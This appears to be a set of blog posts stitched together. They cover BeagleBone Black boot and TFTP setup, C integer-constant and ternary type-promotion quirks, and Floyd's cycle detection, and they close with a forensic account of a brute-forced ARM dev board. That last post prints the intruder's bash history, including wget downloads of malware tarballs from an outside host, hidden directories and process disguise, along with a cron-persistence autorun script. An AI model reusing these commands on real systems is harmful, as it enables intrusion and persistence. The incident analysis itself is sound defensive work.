Setup
BeagleBone Black (BBB) comes with an USB Type A to Mini-B cable. So in
order to power up BBB, the easiest way is to connect Mini-B head to
BBB connector P4
and then Type A head to a computer USB port. The
benefit of using this cable instead of a 5V@1A DC adapter is two fold:
- BBB doesn’t come with the 5V@1A DC adapter
- We can use the Ethernet-over-USB feature, which is very convenient
Unlike BeagleBone (BB), BBB doesn’t install FT2232H on
board, we can confirm this by comparing the BOM/Schematic of BB and
BBB. So there is no way for us to do serial/JTAG-over-USB like with
BB. In addition to that,
JTAG header is also not installed on BBB, therefore
unless installing the header by ourselves, there is no way to use JTAG
on BBB. Now for serial debug, the option left for BBB is to use an
USB-to-TTL cable. My personal favorite is PL2303 based 4-pin cable
like this one. The color code of the pins and their
functions are listed below:
Color |
Function |
Connect To |
Red |
+5V |
no use |
Black |
GND |
BBB J1 Pin1 |
Green |
RXD |
BBB J1 Pin4 |
White |
TXD |
BBB J1 Pin5 |
The default UART configuration is 115200 8N1, no flow control
.
Boot Options
AM335x ROM code (or firmware, if you want to call it that way) samples
SYSBOOT[15:0]
configuration pins during power on reset (i.e. cold
reset). A device list is created based on sampled value. ROM code will
try devices in the list one by one until it finds a bootable
image. BBB latches SYSBOOT[15:0]
as 0x403C
, but SYSBOOT[2]
can
be flipped from 1
to 0
by holding button S2
. So, when S2
is
released, the boot device list will be eMMC -> microSD -> UART0 ->
USB0
; when S2
is hold, the boot device list will be microSD ->
USB0 -> UART0
. Here UART0
is the serial debug port and USB0
is
the Mini-B USB port which is used as power source in our current
setup.
The ROM code implements the RNDIS class driver. When USB0
is
selected as boot device and HOST OS has RNDIS device driver installed,
an Ethernet-over-USB channel will be established between BBB and the
host, which enables the ROM code to talk with HOST OS via BOOTP
protocol and download the image to the SRAM using TFTP. Considering
that the reset button S1
performs warm reset only, the only way to
initiate a cold reset it to re-apply the power. This fact implies that
after we holding S2
and re-apply the power, if the microSD card is
not installed, then BBB will always try to boot from USB0
first
after we pressing the reset button S1
. This is very convenient if we
are going to do some baremetal programming.
For more detailed information, see BBB Rev C schematic page 6 and
AM335x TRM 26.1.5.
One way to setup bootp/tftp under Linux is to use dnsmasq
package. Following configuration should work out of the box after
replacing 12:34:56:78:9a:bc
with the actual MAC of the BBB. But be
aware that the MAC used by ROM code is not necessarily the same as
what we get from ifconfig
under BBB Linux. We might need to use
wireshark or tcpdump to get this MAC. The dhcp-host
line is
essential because BOOTP uses a fixed mapping between MAC and IP.
# disable DNS
port = 0
# tftp server
enable-tftp
tftp-root = /srv/tftp
# dhcp
dhcp-range = 10.0.0.100,10.0.0.200,12h
dhcp-host = 12:34:56:78:9a:bc,10.0.0.100
dhcp-boot = smiley
The configuration above is not enough. We should give the host side
interface an IP address. Add following snippet to
/etc/network/interfaces
shall do the trick. Remember to replace
enx123456789abc
with the real interface name.
allow-hotplug enx123456789abc
iface enx123456789abc inet static
address 10.0.0.1
netmask 255.255.0.0
When the host side RNDIS driver detects the new RNDIS device, it
creates a new interface. This event triggers some udev rule which
calls ifup --allow=hotplug
with the new interface name. The
configuration above will then take effect and give that interface a
static IP address.
Recovery
We can use the microSD card to recover corrupted on board eMMC, or
perform the on board Linux system upgrade. The steps are
straightforward:
- Download a new image from BBB official site
- Write the image to a microSD card with
dd
- Boot from the microSD card
- Modify
/boot/uEnv.txt
to un-comment the line
#cmdline=init=/opt/scripts/tools/eMMC/init-eMMC-flasher-v3.sh
- Reboot, and it will start to flash the eMMC. Status message will be
dumped to UART0
- Remove the microSD card after the flashing is finished
It is well known that a 32bit int can represent integer domain
[-2147483648, 2147483647]
. Look into /usr/include/limits.h
, we can
find the definition for constant INT_MIN
and INT_MAX
:
INT_MAX
looks pretty straightforward, but INT_MIN
is a little bit
weird. Why it is not defined like this:
Well, the question arise because of the wide spread confusion between
integer constant
and constant expression
. The C standard says:
An integer constant begins with a digit, but has no period or
exponent part. It may have a prefix that specifies its base and a
suffix that specifies its type.
A decimal constant begins with a nonzero digit and consists of a
sequence of decimal digits. An octal constant consists of the prefix
0 optionally followed by a sequence of the digits 0 through 7
only. A hexadecimal constant consists of the prefix 0x or 0X
followed by a sequence of the decimal digits and the letters a (or
A) through f (or F) with values 10 through 15 respectively.
Read it carefully and you will realize that the standard doesn’t
mention the sign
. So -2147483648
is not an integer
constant
. Instead, it is a constant expression
consisting of unary
minus operator -
and integer constant
2147483648
. To be more
clear, the AST (Abstract Syntax Tree) of -2147483648
should be (A)
below instead of (B).
Now what do we have? An integer constant
2147483648
. This looks
suspicious as it is bigger than INT_MAX
and can not be represented
by int
. So what should be its type? The C standard says:
The type of an integer constant is the first of the corresponding
list in which its value can be represented.
For unsuffixed decimal, the list is
- C89:
int, long int, unsigned long int
- C99:
int, long int, long long int
So 2147483648
is unsigned long int
in C89. The standard also says:
The result of the unary -
operator is the negative of its
(promoted) operand. The integer promotions are performed on the
operand, and the result has the promoted type.
It means the negation of unsigned
type is still unsigned
. Try
this:
Therefore -2147483648
is unsigned long int
in C89, which is
obviously not what we want.
In C99, 2147483648
is long long int
, so -2147483648
is long
long int
as well, which is also not what we want.
Try this out with both C89 and C99 and see the difference.
Reference
- SO question 1 and question 2
- http://www.hardtoc.com/archives/119
This is a classical interview question, but it is very useful in
practice as well. So let’s discuss it here in detail. The problem is
like this:
Given a single linked list, how to determine whether it has a circle
or not?
The solution is intuitive: point two pointers, fast
and slow
, to
the head of the list, then use them simultaneously to traverse the
list. fast
and slow
advance m
and n
steps each time
respectively, . If slow
catches up with fast
before
fast
reaches the end of the list, we can claim that there is a
circle in the list.
It is obvious that slow
will never catch up with fast
if the list
has no circle, i.e. . Now
let’s prove that slow
will finally catch up with fast
if the list
indeed has a circle, i.e. .
Suppose the list is composed of a linear part and a circle, the length
of which are l
and c
respectively. Assume slow
catches up with
fast
in s
steps, then we have . Put this in another way:
Solve the equation we get
There is nothing to stop us to pick up p
and q
such that . So s
has at least one solution, ,
which satisfies all the constrains below:
Therefore slow
will catch up with fast
in steps,
though this is not necessarily the first time they meet again.
So we just proved . Now comes the
follow up question:
How to find the beginning of the circle?
Let A
be the head of the list, B
be the beginning point of the
circle, and C
be the catch up point of slow
and fast
, then the
list looks like this:
If we choose m=2
and n=1
, solve the equation above we can get
l+r=(p-2q)c
. Let α=p-2q
, then l+r=αc
, l=αc-r=(α-1)c+k
. Now we
put a pointer p0
on A
, a pointer p1
on C
, then advance them 1
step every time. After k
steps, p0
is (α-1)c
steps away from
B
, but p1
reaches B
already. Therefore, after (α-1)c
more
steps, p0
and p1
meet with each other on B
.
Reference
- Floyd’s cycle-finding algorithm (or “tortoise and the hare algorithm”)
Life is full of surprise. Things get even messier with implicit type
conversion. Let’s talk about the ternary operator (or conditional
operator) ?:
in C.
What is the value of 1?-1:1
? It is obvious, isn’t it? How about
1?-1:1U
? “The same”, I hear your voice. So (1?-1:1)==(1?-1:1U)
must be true, as well as (1:-1:1)<0 && (1:-1:1U)<0
. If you believe
that is the truth here, try it out and you will be surprised. (No I
will not paste the answer here, try it out by yourself so you can
remember:)
So the problem here is obviously caused by U
, which is the only
difference between those two expressions. -1
and 1
are int
,
while 1U
is unsigned int
. When we mix them together in an
expression, int
will be promoted to unsigned int
. So actually we
get -1
for 1?-1:1
but (unsigned int)-1
for 1?-1:1U
. Now
everything is clear: this is all about type
promotion. Nigel Jones
wrote an essay on this topic in which he provided another
interesting example:
Why do we need the type promotion in this case? Can we just return
-1
or 1U
for cond?-1:1U
? One way to think about this is that C
is statically typed. The type of cond?-1:1U
is determined in compile
time. It can not be “either int
or unsigned int
”. We need to
cast/promote one type to another and from int
to unsigned int
is
the nature choice. It is an error if the type casting can not be
performed in a meaningful way. For example, if a
is int
and b
is
struct
, then compiler will give us an error for cond?a:b
.
At last, as a bonus point, ?:
in C is slight different from in
C++. ?:
can return a lvalue
in C++ but not in C. That is to
say, the snippet below is valid only for C++.
However, changing a
to be unsigned int
makes the code invalid even
for C++:
Here b
will be cast to unsigned int
. An intermediate variable must
be created to store the casting result. Why? Consider the case when we
cast from char
to int
, the original variable can not be reused
because it is not long enough to hold an int
. As there is no way for
programmer to reference the intermediate variable, it is meaningless
to allow it can be used as lvalue
. In general, (int)a=1;
is
invalid for both C and C++.
Reference
Recently my Kayla development board cannot get correct DHCP address
for some reason. I sent an email to sysadmin. They replied that an
alert was triggered on their IDS and my board was believed has been
compromised, so they blocked it:
> 128.223.6.140 triggered alerts when it grabbed files from
> superuser.clan.su. We have identified this type of activity as being
> similar to activity that occurred with a server, during that the same
> timeframe, that was confirmed as being successfully SSH brute
> forced.
>
> Based on the available data 128.223.6.140 likely has an account, with
> a weak password, that was successfully brute forced.
>
> Please block this system on the CIS network until the system
> administrator can investigate the issue. If you are unable to block
> the system please update this ticket and I'll block the IP address on
> the campus network. IDS alert data is available below. Timestamps
> are local TZ.
SH*T! Kayla comes with an factory default Ubuntu. There is a default
user ubuntu
with password ubuntu
, which is indeed WEAK. I am
aware of that but didn’t take it seriously: Kayla is just an embedded
system which contains no critical data, and I thought I won’t be so
unlucky to be the prey.
It turns out I was wrong.
Do tell your son the world is dangerous.
I am curious what has been done on Kayla. Looks like the hacker didn’t
bother to erase his footprint in ~/.bash_history
:
1399 w
1400 uptime
1401 cd /var/tmp
1402 ls -a
1403 mkdir ". "
1404 cd ". "
1405 wget superuser.clan.su/hu.tgz
1406 tar zxvf hu.tgz
1407 rm -rf hu.tgz
1408 cd .m
1409 ls
1410 nano zmeu.ini
1411 vi zmeu.ini
1412 ./autorun
1413 ./run
1414 uname -a
1415 cd ..
1416 rm -rf .m
1417 wget superuser.clan.su/miau.tgz
1418 tar zxvf miau.tgz
1419 rm -rfm i
1420 cd .us
1421 rm -rf miau.tgz
1422 cd .usr/
1423 ls
1424 vi miaurc
1425 ./h -s /usr/sbin/sshd ./init -d /var/tmp/". "/.usr
1426 cd ..
1427 ls -a
1428 rm -rf .usr/
1429 wget superuser.clan.su/psybnc-linuxRO.tgz
1430 tar zxvf psybnc-linuxRO.tgz
1431 rm -rf psybnc-linuxRO.tgz
1432 mv psybnc/ .p
1433 cd .p
1434 ls
1435 chmod 777 *
1436 chmod +X *
1437 ls
1438 ps x
1439 ps -aux
1440 mv ntpd lightdm
1441 ./lightdm
1442 uname -a
Hmmm… A directory named .
(dot space)? Interesting.
zmeu.ini
? Google tells me ZmEu
is an exploit scanner. I downloaded
the hu.tgz
, unpacked and had a quick check:
$ file autorun
autorun: POSIX shell script, ASCII text executable
$ cat autorun
#!/bin/sh
pwd > zmeu.dir
dir=$(cat zmeu.dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > zmeu.cron
crontab zmeu.cron
crontab -l | grep update
echo "#!/bin/sh
if test -r $dir/zmeu.pid; then
pid=\$(cat $dir/zmeu.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update
OK, he installed a cron job.
ubuntu@kayla:~$ crontab -l
* * * * * /var/tmp/. /.m/update >/dev/null 2>&1
Now what’s in ./run
?
$ file run
run: POSIX shell script, ASCII text executable
$ cat run
#!/bin/sh
export PATH=.
-sh
$ file -- -sh
-sh: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.4.1, not stripped
So he invoked a (most likely customized) shell, and what has been done
under this shell is unknown to me.
miau.tgz
? Google says miau
is an “IRC-bouncer/proxy”. So the
hacker want some IRC bot? 1419~1422 looks like some typo to me. Don’t
panic, dude.
I am wandering what is ./h
. Luckily there is a h.c
which I guess
is the source code for ./h
in the tarball.
$ file h
h: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.4.1, not stripped
$ head h.c
/*
psf -- Process Stack Faker (a.k.a. Fucker)
Coded by Stas; (C)opyLeft by SysD Destructive Labs, 1997-2003
Tested on: FreeBSD 4.3, Linux 2.4, NetBSD 1.5, Solaris 2.7
Compile with:
# gcc -O2 -o h h.c
# strip h
Good, typical hacker tool.
Next tarball is psybnc-linuxRO.tgz
which turns out to be yet another
IRC bouncer. Why did he need two IRC bouncer? I doubt I can figure out
the reason.
OH BOY! WAIT! DID I MENTION THAT KAYLA IS AN ARM BASED SYSTEM?
ubuntu@kayla:~$ uname -a
Linux kayla 3.1.10-carma #1 SMP PREEMPT Wed Jul 10 12:53:50 CEST 2013 armv7l armv7l armv7l GNU/Linux
All the binaries the hacker downloaded in the tarball are for Intel x86!
I believe this is what the hacker was thinking about when he saw the
output of uname -a
(line 1442):
WTF!!!
This makes me feel much better :D